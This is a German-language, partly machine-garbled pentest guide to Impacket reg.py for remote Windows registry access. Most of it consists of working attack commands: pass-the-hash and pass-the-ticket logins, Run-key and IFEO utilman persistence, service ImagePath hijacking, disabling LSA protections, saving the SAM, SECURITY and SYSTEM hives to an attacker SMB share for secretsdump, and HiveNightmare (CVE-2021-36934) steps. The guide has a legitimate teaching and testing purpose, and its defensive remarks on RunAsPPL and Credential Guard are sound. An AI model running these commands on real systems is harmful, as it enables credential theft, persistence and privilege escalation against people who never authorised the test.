Werkzeuge

reg.py: Alle Registrierungsschlüssel für Penetrationstests und Active Directory

reg.py: Alle Registrierungsschlüssel für Penetrationstests und Active Directory

Impacket reg.py: Abfragen, Hinzufügen, Löschen, Speichern und Sichern der entfernten Windows-Registrierung über SMB/MS-RRP. SAM-, LSA-, WDigest-, RDP- und WinRM-Schlüssel für Penetrationstests und Systemhärtung.

  • Veröffentlicht am 2026-07-04
  • Lesezeit: 26 Minuten

reg.py Impacket: Der vollständige Leitfaden für Remote-Registrys für Penetrationstests 2026 #

Die Windows-Registry ist mehr als nur ein Konfigurationsspeicher: Sie ist eine wahre Fundgrube an Anmeldeinformationen, Hintertüren und Persistenzinformationen. Mit reg.py , einem Skript aus der Impacket- Suite , können Sie die Registry eines Windows-Rechners remote lesen und schreiben – ganz ohne RDP oder interaktive Shell. Dies geschieht durch die Nutzung der MS-RRP-Schnittstelle (Remote Registry Protocol) über SMB.

Dieser Leitfaden ist in logische Abschnitte unterteilt: zuerst die Grundlagen des Tools und der Registry, dann Anmeldeinformationen, dann Persistenz, dann Rechteausweitung, dann Forensik/DFIR und schließlich Erkennung, Härtung und die abschließende Kurzanleitung.


1. Die Registrierungsstrukturen: HKLM, HKCU, HKU, HKCR, HKCC #

Bevor Sie ein Registry-Tool verwenden, müssen Sie verstehen, was Top-Level-Hives sind. Es handelt sich um unterschiedliche logische Stammverzeichnisse, jedes mit einem spezifischen Zweck, und das Verständnis des Unterschieds hängt davon ab, wo Sie nach Anmeldeinformationen oder schwachen Konfigurationen suchen.

HiveErweiterter NameWas es enthältRelevanz von Penetrationstests
hklmHKEY_LOCAL_MACHINEMaschinenkonfiguration: Hardware, Treiber, Dienste, globale Richtlinien, SAM/Sicherheit/SystemMaximum – hier befinden sich die Anmeldeinformationsspeicher und die globalen Sicherheitseinstellungen.
HkcuHKEY_CURRENT_USERKonfigurieren des Benutzers, der aktuell in der Sitzung angemeldet ist, in der der Befehl ausgeführt wirdHoch – Benutzer-Autostart, kürzlich aufgerufener RDP-Verlauf, in Anwendungen gespeicherte Anmeldeinformationen
HKUHKEY_USERSEnthält die Profile ALLER Benutzer, die sich an dem Rechner angemeldet haben, jedes als Unterschlüssel mit eigener SID.Alta nach der Ausnutzung der Sicherheitslücke – Sie können die HKCU-Daten anderer Benutzer lesen, selbst wenn diese aktuell nicht angemeldet sind, indem Sie die HKU-Daten iterieren.
HKCRHKEY_CLASSES_ROOTDateizuordnungen, ProgID, COM/OLE-Informationen – es ist im Grunde eine einheitliche Sichtweise von HKLM\Software\Classes e HKCU\Software\ClassesMedien – relevant für COM-Hijacking und DLL-Hijacking über Assoziationen
HKCCHKEY_CURRENT_CONFIGAktuelles Hardwareprofil, Zeiger auf einen Unterschlüssel HKLM\SYSTEM\CurrentControlSet\Hardware ProfilesNiedrig – fast nie offensiv relevant

Wichtiger Punkt, den Sie beachten sollten: HKCU ist lediglich ein Spiegelbild des HKU-Unterschlüssels für die SID des aktuellen Benutzers.Wenn Sie sich mit den Anmeldeinformationen eines Benutzers remote mit reg.py verbinden, sehen Sie den HKCU von dieser BenutzerEs muss sich nicht unbedingt um den Benutzer handeln, der interaktiv an der Konsole angemeldet ist. Wenn Sie das Profil eines anderen Benutzers als desjenigen lesen möchten, mit dem Sie authentifiziert sind, müssen Sie folgende Schritte ausführen: HKU\<SID-utente> statt für HKCU.

bash
# Elenca i SID caricati (= utenti con profilo attivo) sotto HKU
reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKU -s

Dies ist nach der Kompromittierung von entscheidender Bedeutung: Wenn Sie einen Rechner kompromittiert haben, auf dem mehrere Benutzer angemeldet sind, ermöglicht Ihnen HKU den Zugriff auf alle ihre HKCUs, ohne dass Sie sich als einer von ihnen ausgeben müssen.

Praktisches Beispiel: Sobald Sie die SID eines anderen Benutzers haben (von query -keyName HKU -soder von einem lookupsid/whoami /user (wird in einem anderen Schritt erledigt), können Sie dieses Profil direkt abfragen – sogar über IPv6 und Pass-the-Hash, wie es für eine HTB-Maschine typisch ist:

bash
reg.py htb.local/henry.vinson@dead:beef::b885:d62a:d679:573f -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName 'HKU\S-1-5-21-2993095098-2100462451-206186470-1105' -s

Das SID S-1-5-21-...-1105 Es handelt sich um eine benutzerdefinierte RID (>1000), also um einen echten Domänenbenutzer, nicht um ein integriertes Dienstkonto. -s Durch rekursives Aufrufen dieses Schlüssels wird der gesamte HKCU-Eintrag des Benutzers auf einmal abgerufen – Run-Schlüssel, PuTTY-Sitzungen, RunMRU, RDP-Server, alles, was in den obigen Abschnitten erwähnt wurde, bezieht sich aber auf ihn.

Workflow-Kombination: lookupsid.py + reg.py -s — das immer zu verwendende Muster #

Dies ist der praktischste Ablauf überhaupt, wenn Sie zwar Domänenanmeldeinformationen besitzen, aber noch nicht wissen, wer sonst noch auf dem Rechner vorhanden ist oder welche Profile von Interesse sind.

1. Alle Domänenbenutzer/RIDs mit lookupsid.py (Impacket) auflisten:

bash
lookupsid.py htb.local/henry.vinson:password@10.10.10.5

Typische Ausgabe:

Text
[*] Domain SID is: S-1-5-21-2993095098-2100462451-206186470
498: HTB\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: HTB\Administrator (SidTypeUser)
1105: HTB\henry.vinson (SidTypeUser)
1106: HTB\altro.utente (SidTypeUser)

Es liefert Ihnen die vollständige SID jedes Benutzers in der Domäne, ohne dass Sie irgendetwas erraten müssen.

2. Ermitteln Sie die vollständige SID (Domäne + RID) und fragen Sie HKU direkt ab mit -s:

bash
reg.py htb.local/henry.vinson@10.10.10.5 -hashes :HASH query -keyName 'HKU\S-1-5-21-2993095098-2100462451-206186470-1106' -s

Der entscheidende Punkt: Man muss es nicht im Voraus wissen. wo Im Profil dieses Benutzers befindet sich etwas Interessantes. -s Es lädt rekursiv alles herunter – Run-Keys, Anwendungsanmeldeinformationen, PuTTY, RDP-Server, einfach alles – und Sie lesen die Ausgabe und suchen nach bekannten Mustern (password, pwd(Benutzerdefinierte App-Namen). Aus diesem Grund ist diese Kombination der erste Schritt, den Sie unternehmen sollten, sobald Sie eine Liste von SIDs haben: Zuerst listen Sie auf, wer existiert, dann rufen Sie alles ab, was diese in HKU haben, ohne sich Gedanken darüber machen zu müssen, den richtigen Schlüssel zu erraten.

Hinweis: HKU zeigt nur Profile an Caricati (Benutzer, die sich mindestens einmal angemeldet haben und deren Registrierungsstruktur noch eingebunden ist). Wenn ein Benutzer in der Domäne existiert, sich aber noch nie an diesem spezifischen Rechner angemeldet hat, wird seine SID nicht unter HKU angezeigt – in diesem Fall benötigen Sie reg load auf seinem NTUSER.DAT Offline-Ansicht, detaillierte Ansicht unten.

Lesen Sie HKCU eines nicht angemeldeten Benutzers – reg load #

HKU gewährt Ihnen nur Zugriff auf Profile aktuell geladen (Benutzer sind aktuell angemeldet). Falls ein weiterer Benutzer auf dem Rechner existiert, aber nicht angemeldet ist, wird dessen Profil nicht unter HKU angezeigt – aber die Datei NTUSER.DAT Es ist noch auf der Festplatte vorhanden. Mit ausreichenden Berechtigungen (lokaler Administrator oder …) SeRestorePrivilegeSie können es selbst in einem temporären Schlüssel einbinden und es so lesen, als wäre es online.

cmd
reg load HKU\temp_utente C:\Users\vittima\NTUSER.DAT

Da quel momento HKU\temp_utente Die Navigation ist genau wie bei einem normalen HKCU – dieselben Run-Schlüssel, dieselben PuTTY-Sitzungen, dasselbe RunMRU, dieselben RDP-Server wie oben, aber für einen Benutzer, der sich noch nie angemeldet hat, während Sie angemeldet waren.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKU\temp_utente\Software\Microsoft\Windows\CurrentVersion\Run" -s

Wenn Sie fertig sind, entladen Sie immer die Hive : Wenn sie eingebunden bleibt, findet Windows beim nächsten Anmelden des Benutzers das freie Profil nicht und weist ihm ein temporäres Profil zu (der Benutzer wird dies sofort bemerken, und bei einem Penetrationstest ist dies ein Fehler, den es zu vermeiden gilt).

cmd
reg unload HKU\temp_utente

Se reg unload Wenn die Fehlermeldung „Zugriff verweigert“ erscheint, liegt das üblicherweise daran, dass ein Prozess noch eine offene Verbindung zur Struktur hat (z. B. Explorer oder PowerShell mit diesem Schlüssel als Arbeitsverzeichnis). Schließen Sie alle Sitzungen, die darauf zugreifen, und versuchen Sie es erneut.

Die gleiche Technik funktioniert auch zum Auslesen des Standardprofils (der Vorlage, die für jeden neu auf dem Rechner erstellten Benutzer verwendet wird – nützlich, um zu verstehen, welche Einstellungen/Autostarts von zukünftigen Konten übernommen werden):

cmd
reg load HKU\default_profile C:\Users\Default\NTUSER.DAT

Wo die Bienenstöcke physisch auf der Scheibe leben #

Hives existieren nicht nur im Arbeitsspeicher, sondern werden auch als Dateien auf der Festplatte gesichert. Dieses Wissen ist für die Offline-Extraktion (z. B. aus einem forensischen Image oder Backup) nützlich.

Text
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY
C:\Windows\System32\config\SOFTWARE
C:\Users\<utente>\NTUSER.DAT          <- corrisponde a HKCU di quell'utente
C:\Users\<utente>\AppData\Local\Microsoft\Windows\UsrClass.dat  <- HKCU\Software\Classes, contiene le ShellBags

2. Funktionsweise von reg.py #

reg.py stellt über SMB (Port 445) eine Verbindung zum Zielsystem her und kommuniziert mit dem Dienst. Remote Registry über die RPC-Schnittstelle [MS-RRP] — das gleiche Protokoll, das er verwendet reg.exe unter Windows, aber per Fernsteuerung mit gültigen Anmeldeinformationen (Passwort, NTLM-Hash oder Kerberos-Ticket).

Wenn der Remote-Registry-Dienst deaktiviert ist, startet Impacket ihn automatisch für den jeweiligen Vorgang und stellt ihn nach Abschluss wieder in seinen ursprünglichen Zustand zurück. Dieses Verhalten ist sowohl für Angriffe (der Dienst läuft unauffällig, generiert aber dennoch Ereignisse) als auch für die Verteidigung wichtig (der Dienst sollte niemals grundlos als „kürzlich gestartet“ angezeigt werden).

Voraussetzungen für die Nutzung #

  • SMB-Zugriff auf Zielport 445
  • Gültige Anmeldeinformationen: lokaler Administratorbenutzer, privilegierter Domänenbenutzer oder NTLM-Hash für Pass-the-Hash
  • Um als SAM/SECURITY geschützte Hives zu lesen: Privileg SeBackupPrivilege oder Gruppenmitgliedschaft Sicherungsoperatorenzusätzlich zu lokalen Administratorrechten

Grundlegende Syntax und Authentifizierung #

bash
reg.py [dominio/]utente[:password]@target <azione> [opzioni]

Passwortauthentifizierung:

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKLM\\SOFTWARE

NTLM-Hash-Authentifizierung (Pass-the-Hash), nützlich, wenn Sie nicht das Klartextpasswort, sondern nur den extrahierten Hash haben, zum Beispiel mit secretsdump :

bash
reg.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c CORP/admin@10.10.10.5 query -keyName HKLM\\SYSTEM

Kerberos-Authentifizierung (Pass-the-Ticket-Verfahren) bei der Arbeit mit einem bereits erhaltenen Ticket (z. B. von Rubeus ):

bash
reg.py -k -no-pass CORP/admin@dc01.corp.local query -keyName HKLM\\SAM

3. Die 5 Aktionen von reg.py #

reg.py stellt fünf Unterbefehle bereit. Jeder entspricht einer anderen Phase eines Penetrationstests oder CTF: zuerst lesen (query), dann optional schreiben, um die Auswirkungen zu demonstrieren (add), bereinigen (delete) oder Daten für die Offline-Analyse extrahieren (save/backup).

Abfrage – Schlüssel und Werte lesen #

query Listet die Unterschlüssel und Werte eines bestimmten Schlüssels auf. Dies ist die Aktion, die Sie in 90 % der Fälle verwenden: Aufzählung, Abgleich, Abruf von Anmeldeinformationen.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -s

Die Flagge -s (Unterschlüssel) machen die Abfrage rekursiv – sehr nützlich, um ganze Hierarchien auf einmal aufzulisten, wie beispielsweise alle Autorun-Schlüssel unter CurrentVersion, anstatt sie einzeln zu befragen.

In einem CTF/Penetrationstest können Sie Abfragen verwenden, um:

Ziel: Befehl
Lesen Sie einen einzelnen präzisen Wert ab.query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -v DefaultPassword
Einen gesamten Zweig auflisten (autorun, services, user profiles)query -keyName "HKLM\SYSTEM\CurrentControlSet\Services" -s
Prüfen Sie vor der Planung eines Angriffs, ob eine Schutzmaßnahme aktiv ist (z. B. RunAsPPL vor einem LSASS-Dump).query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa"
Lesen Sie das Profil eines anderen Benutzers, der über seine SID angemeldet ist.query -keyName "HKU\<SID>" -s

Se query Retouren ERROR_FILE_NOT_FOUNDEs handelt sich fast immer um ein Pfadproblem (falscher Hive, doppelter Backslash aus der Shell oder WOW64-Umleitung – siehe Abschnitt 4), nicht um einen echten Berechtigungsfehler.

hinzufügen – einen Wert schreiben oder ändern #

add Erzeugt einen neuen Wert oder überschreibt einen vorhandenen. Der Typ muss immer angegeben werden. -vt (REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZund die Daten mit -vd.

In einem CTF/Penetrationstest können Sie Folgendes hinzufügen:

Ziel: Befehl
Persistenz beim Benutzer-Login platzieren (Run-Schlüssel)add -keyName "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -v Updater -vt REG_SZ -vd "C:\Users\vittima\update.exe"
Deaktivieren Sie eine Schutzfunktion, um deren Auswirkungen zu demonstrieren (z. B. RestrictedAdmin für Pass-the-Hash über RDP).add -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -v DisableRestrictedAdmin -vt REG_DWORD -vd 1
Tokenfilterumgehung für laterale Bewegung mit lokalen Administratoren aktivierenadd -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -v LocalAccountTokenFilterPolicy -vt REG_DWORD -vd 1
Eine Accessibility-Binärdatei kapern, um SYSTEM vom Anmeldebildschirm zu erhalten (IFEO)add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" -v Debugger -vt REG_SZ -vd "C:\Windows\System32\cmd.exe"
Entführe dieImagePath eines Dienstes mit schwachen ACLs (privesc — Abschnitt 8.3)add -keyName "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" -v ImagePath -vt REG_EXPAND_SZ -vd "C:\Users\Public\shell.exe"

Jeder add Wenn eine solche Änderung während eines Tests vorgenommen wird, handelt es sich um eine tatsächliche Modifikation des Systems: Sie muss stets dokumentiert und am Ende der Aktivität wiederhergestellt werden (siehe abschließende Checkliste).

Löschen – Schlüssel oder Werte entfernen #

delete Entfernt einen Wert oder einen gesamten Unterschlüssel. Dies ist sowohl für Angriffe (Spuren beseitigen) als auch für die Verteidigung (Bereinigen eines kompromittierten Hosts) nützlich.

In einem CTF/Penetrationstest können Sie die Funktion „delete“ verwenden, um:

Ziel: Befehl
Einen geänderten Schlüssel wiederherstellen mit add am Ende des Tests (Antiforensik/Hygiene)delete -keyName "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -v Updater
Eine Schutzfunktion vorübergehend deaktivieren, um zu überprüfen, ob sie tatsächlich einen Angriff blockiert (A/B-Test).delete -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -v RunAsPPL
Bereinigen eines Hosts von einer bösartigen Persistenz, die während einer Incident Response (IR) entdeckt wurde (aus der Perspektive des Blue Teams).delete -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -v EvilPersistence
Einen für einen Test erstellten Unterschlüssel (z. B. einen IFEO-Eintrag) vollständig entfernendelete -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe"

delete senza -v Löscht den gesamten angegebenen Schlüssel und alles, was er enthält – achten Sie darauf, den Pfad nicht zu allgemein zu wählen.

Speichern – Exportieren einer einzelnen Hive/eines einzelnen Schlüssels in eine Datei #

save schreibt eine Kopie eines Schlüssels (typischerweise eine gesamte Hive) im folgenden Format auf die Zielfestplatte: .saveDie Daten können dann über eine SMB-Freigabe wiederhergestellt werden, die Sie vom angreifenden Rechner aus öffnen.

Bei einer CTF/einem Pentest können Sie die Option "Speichern unter:" verwenden.

Ziel: Befehl
Extrahieren Sie SAM für das Offline-Knacken lokaler Hashessave -keyName 'HKLM\SAM' -o '\\10.10.14.5\share\SAM.save'
Sicherheitsinformationen für LSA-Geheimnisse und DCC2 extrahierensave -keyName 'HKLM\SECURITY' -o '\\10.10.14.5\share\SECURITY.save'
SYSTEM extrahieren (wird immer zusammen mit SAM/SECURITY verwendet, um sie zu entschlüsseln)save -keyName 'HKLM\SYSTEM' -o '\\10.10.14.5\share\SYSTEM.save'
Exportieren Sie den Hive eines bestimmten Benutzers zur Offline-Analysesave -keyName 'HKU\<SID>' -o '\\10.10.14.5\share\NTUSER.save'

Vor dem Start save Für den Zugriff auf eine entfernte Freigabe muss auf der Angreiferseite ein aktiver SMB-Listener vorhanden sein – typischerweise smbserver.py von Impacket (smbserver.py share /tmp/loot -smb2support).

Backup – Schneller Dump von SAM, SYSTEM und SECURITY #

backup Es handelt sich um einen speziellen Befehl, eine Abkürzung für den häufigsten Anwendungsfall: das Extrahieren der drei benötigten Strukturen in einem einzigen Aufruf, um einen vollständigen Dump der lokalen Anmeldeinformationen und LSA-Geheimnisse zu erhalten.

bash
reg.py CORP/admin:Password123@10.10.10.5 backup -o '\\10.10.14.5\share'

Das entspricht dem Werfen von drei save separate Verbindungen (SAM, SYSTEM, SECURITY), aber mit einem einzigen Befehl und einer einzigen Authentifizierungsrunde – weniger Aufwand als bei drei separaten Verbindungen. Nach der Datensicherung ist der nächste Schritt immer secretsdump.py Modus LOCAL auf heruntergeladenen Dateien (siehe Abschnitt 6.4).


4. WOW64 – die Registry-Umleitung, die alle verwirrt #

Unter 64-Bit-Windows greift ein 32-Bit -Prozess nicht auf dieselbe Registry zu wie ein 64-Bit-Prozess. Dieses Verhalten wird als Registry-Umleitung bezeichnet und ist die häufigste Ursache für „Nichts gefunden“-Abfragen bei Penetrationstests – ein häufiger Fehler selbst erfahrener Penetrationstester.

So funktioniert die Umleitung #

Wenn ein 32-Bit-Prozess versucht, unter HKLM\SOFTWAREWindows fängt diese E-Mail stillschweigend ab und leitet sie um zu:

Text
HKLM\SOFTWARE\Wow6432Node

Der 32-Bit-Prozess merkt es nicht: Er glaubt, er liest HKLM\SOFTWARE normal, aber physisch befinden sich die Daten im Unterschlüssel. Wow6432NodeEin 64-Bit-Prozess hingegen sieht das Reale HKLM\SOFTWARE, ohne Weiterleitung.

Warum das bei einem Penetrationstest wichtig ist #

Wenn Sie einen Rechner mit einem 32-Bit-Tool (z. B. einem kompilierten 32-Bit-Python-Skript oder einer älteren Binärdatei) untersuchen und nach einem Softwareschlüssel suchen, von dem Sie wissen, dass er vorhanden ist, finden Sie ihn möglicherweise nicht – einfach weil Sie in der falschen Ansicht suchen. Umgekehrt gilt: Wenn Malware oder eine Payload in 32 Bit auf einem 64-Bit-Host ausgeführt wird, fällt ihre Persistenz über den Run-Key unter die Kategorie „Ausführungsschlüssel“. Wow6432Node, nicht im „normalen“ Pfad: ein Detail, das beim Aufzählen von Autostart-Schlüsseln immer überprüft werden sollte.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"

Gemeinsame Schlüssel (nicht umgeleitet) #

Nicht alles wird umgeleitet. Einige Schlüssel sind gemeinsam genutztEs existiert nur ein einziges physisches Exemplar, das von beiden Architekturen identisch wahrgenommen wird. HKLM\SYSTEM (wo SAM, Dienste und Sicherheitskonfigurationen gespeichert sind) gehört dazu – deshalb hat reg.py, das direkt mit dem MS-RRP-Protokoll kommuniziert, beim Arbeiten mit diesen Schlüsseln kein Umleitungsproblem.

Expliziter Zugriff auf eine bestimmte Ansicht #

Über PowerShell oder Code können Sie die gewünschte Ansicht mithilfe von Flags erzwingen. KEY_WOW64_64KEY e KEY_WOW64_32KEYAutomatische Umleitungen werden ignoriert. Über die Befehlszeile: reg.exe Native unterstützt dasselbe Konzept:

cmd
:: Forza la lettura della vista a 64 bit anche da un reg.exe a 32 bit
reg query "HKLM\SOFTWARE\Esempio" /reg:64

:: Forza la vista a 32 bit
reg query "HKLM\SOFTWARE\Esempio" /reg:32

Registry Reflection (nur für ältere Systeme) #

Windows XP/Vista/Server 2003/2008 enthielten auch Registry Reflection : einen Mechanismus, der automatisch eine Teilmenge von Schlüsseln zwischen 32-Bit- und 64-Bit-Vista synchronisierte, um die Kompatibilität zwischen COM-Komponenten zu gewährleisten. Diese Funktion wurde ab Windows 7 entfernt. Wenn Sie mit einem modernen System arbeiten, werden Sie ihr nicht mehr begegnen, aber es ist gut zu wissen, dass sie existierte, falls Sie ältere Dokumentationen oder Artikel lesen.


5. Allgemeine Systemaufzählung über Register #

Neben Sicherheitsschlüsseln gibt die Registry die vollständige Identität des Zielrechners preis. Diese Abfragen sind bei der Aufklärung nützlich, noch bevor man Privilegienerweiterungen oder das Auslesen von Anmeldeinformationen in Betracht zieht:

bash
# Versione OS e build
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"

# Nome macchina
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName"

# Fuso orario (utile per correlare timestamp nei log)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation"

# Interfacce di rete configurate
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" -s

# Reti a cui la macchina si è connessa (utile per capire il contesto: VPN aziendale, wifi pubbliche, ecc.)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList" -s

# Dispositivi USB storici collegati (utile in forensics e in verifica data-exfil)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR" -s

6. Anmeldeinformationen in der Registrierung #

Dies ist der kritischste Abschnitt für einen Penetrationstest: alle Anmeldeinformationsquellen – direkt oder verschlüsselt –, die in der Registry gespeichert sind. Drei Blöcke: Aktive Anmeldeinformationen im Speicher/Konfigurationsbereich (6.1–6.3), Offline-Anmeldeinformationen in den Registry-Strukturen (6.4–6.6) und Anmeldeinformationen von Drittanbieteranwendungen (6.7).

Live-Anmeldeinformationen – Systemkonfiguration und Speicher #

6.1 Automatische Anmeldung löschen (Winlogon) #

Text
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Se AutoAdminLogon ist eingestellt auf 1Das Passwort findet sich oft in DefaultPassword Im Klartext. Die vollständige Liste der zu prüfenden Werte:

WertBedeutung
AutoAdminLogon1 = aktiv autolog, 0 = inaktiv
DefaultUserNameBenutzer für automatische Anmeldung
DefaultPasswordPasswort in löschenwenn die automatische Anmeldung auf die klassische Weise konfiguriert ist
DefaultDomainNameStandardbenutzerdomäne (leer bei lokalem Konto)
AltDefaultDomainNameAlternative Domäne, die in einigen Multi-Domänen-/Legacy-Szenarien verwendet wird
bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

6.2 WDigest – Klartext-Anmeldeinformationen im Speicher #

Text
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

Se UseLogonCredential es ist in 1Windows speichert Passwörter im Klartext im LSASS-Speicher, wodurch sie nach einem Kompromittierungsversuch mit Mimikatz extrahiert werden können. Die Überprüfung mit reg.py zeigt Ihnen, noch bevor Sie Zugriff auf eine Shell haben, ob dieses Zielsystem für die Gewinnung von Klartext-Anmeldeinformationen besonders wertvoll ist.

6.3 LSA-Schutz (RunAsPPL) und Credential Guard #

Vor der Planung eines LSASS-Dumps ist es ratsam zu wissen, ob das Zielsystem geschützt ist.

Text
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL

Wenn dieser Wert 1 (o 2 unter Windows 11 22H2+ ohne UEFI-Sperre), lsass.exe dreht sich wie Geschütztes Prozesslicht (PPL): kein ungeschützter Prozess – nicht einmal ein Administrator mit SeDebugPrivilege —kann seinen Speicher öffnen, um Anmeldeinformationen auszulesen. Dies ist wahrscheinlich die mit Abstand wirksamste Maßnahme gegen Mimikatz. sekurlsa::logonpasswords.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa"

Wenn der Wert fehlt oder 0Das Ziel ist anfällig für klassische LSASS-Dumps.

Eine noch höhere Ebene ist Credential Guard , das auf Virtualisierung basiert:

Text
HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaCfgFlags

Wenn Credential Guard aktiviert ist, isoliert es NTLM/Kerberos-basierte Geheimnisse in einem virtualisierungsbasierten Container (VBS), getrennt vom Windows-Kernel – einem Prozess. LsaIso.exe verwaltet den Zugriff, und nicht einmal eine Kernel-Schwachstelle kann direkt an die Anmeldeinformationen gelangen. LsaCfgFlags a 1 o 2 Zeigt an, dass Credential Guard aktiviert ist.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaCfgFlags"

Wenn diese Option aktiviert ist, wird das direkte Auslesen von Benutzer-Hashes aus LSASS effektiv blockiert – überprüfen Sie diesen Wert immer, bevor Sie sich vollständig für Mimikatz entscheiden.

Offline-Anmeldeinformationen – Hive-Dump #

6.4 LSA-Geheimnisse – Was HKLM\SECURITY wirklich enthält #

HKLM\SECURITY Es handelt sich nicht um eine einzelne Anmeldeinformation, sondern um einen Container mit mehreren Geheimnissen, die jeweils mit dem vom SYSTEM-Boot-Schlüssel abgeleiteten Schlüssel verschlüsselt sind. Der interne Pfad, in dem sie sich befinden, lautet:

Text
HKLM\SECURITY\Policy\Secrets
Geheimer NameWas es enthält
_SC_<NomeServizio>Klartextpasswort des Kontos, unter dem ein Windows-Dienst ausgeführt wird (z. B. Domänenkonto, das von SQL Server, Exchange oder dem Sicherungsagenten verwendet wird)
DPAPI_SYSTEMHauptschlüssel zur Entschlüsselung von DPAPI-geschützten Daten auf Maschinenebene
DefaultPasswordKlartext-Passwort für die automatische Anmeldung (eine Kopie dessen, was wir bereits bei Winlogon gesehen haben)
NL$KMSchlüssel zur Verschlüsselung zwischengespeicherter Domänenanmeldeinformationen (siehe unten)
$MACHINE.ACCMaschinenkontokennwort, das zur Authentifizierung als Computerkonto in der Domäne verwendet werden kann.
L$_SC_*Lokale Varianten von Dienstgeheimnissen

Abfrage und Ausgabe:

bash
reg.py CORP/admin:Password123@10.10.10.5 save -keyName 'HKLM\SECURITY' -o '\\10.10.14.5\share\SECURITY.save'
bash
secretsdump.py -security ./loot/SECURITY.save -system ./loot/SYSTEM.save LOCAL

Typische Ausgabe:

Text
[*] Dumping LSA Secrets
_SC_MSSQLSERVER:CORP\svc_sql:P@ssw0rd2024!
DPAPI_SYSTEM:01000000...
NL$KM:0a1b2c3d...

Der Wert _SC_MSSQLSERVER Der größte Treffer bei einem Penetrationstest ist typischerweise ein Klartextpasswort: ein Dienstkonto mit erhöhten Berechtigungen in der Domäne, da Dienstkonten ihre Passwörter nur selten ändern.

6.5 HiveNightmare/SeriousSAM (CVE-2021-36934) — SAM-Dump ohne Administratorrechte #

Unter Windows 10/11 mit einer falsch konfigurierten ACL, die Hives SAM, SYSTEM e SECURITY Sie sind auch für einen Benutzer lesbar. Nicht-Administrator, über Volume Shadow Copies. Kein reg.py, kein Netzwerkzugriff: Es läuft als lokale Shell mit geringen Berechtigungen.

1. Prüfen Sie, ob das Ziel angreifbar ist:

cmd
icacls C:\Windows\System32\config\SAM

Wenn es erscheint BUILTIN\Users:(I)(RX) (o Everyone), ist die Hive für jeden authentifizierten Benutzer lesbar – dies ist der Indikator für die Sicherheitslücke.

2. Erstellen einer Volumeschattenkopie (erfordert lediglich die Berechtigung zum Erstellen von Schattenkopien, keine vollständigen Administratorrechte):

Powershell
vssadmin create shadow /for=C:

Notieren Sie sich den zurückgegebenen Namen, z. B. \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1.

3. Kopieren Sie die Hives aus der Schattenkopie:

cmd
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM.hive
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM.hive
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Temp\SECURITY.hive

4. Exfiltrieren Sie die Dateien auf Ihren Rechner (SMB-Freigabe, HTTP oder direkte Ausführung, falls Sie bereits über einen Kanal verfügen) und knacken Sie sie offline:

bash
secretsdump.py -sam SAM.hive -system SYSTEM.hive -security SECURITY.hive LOCAL

Automatisches Tool (zuerst LOLBin, dann externe Tools): Reines PowerShell mit vssadmin/copy Wie bereits erwähnt, ist es ausreichend und nativ. Falls Sie eine Automatisierung benötigen, HiveNightmare.exe/ShadowCopy.ps1 Sie führen die gleichen Schritte auf einmal aus, fügen aber nichts hinzu, was sie nicht ohnehin schon tun. vssadmin.

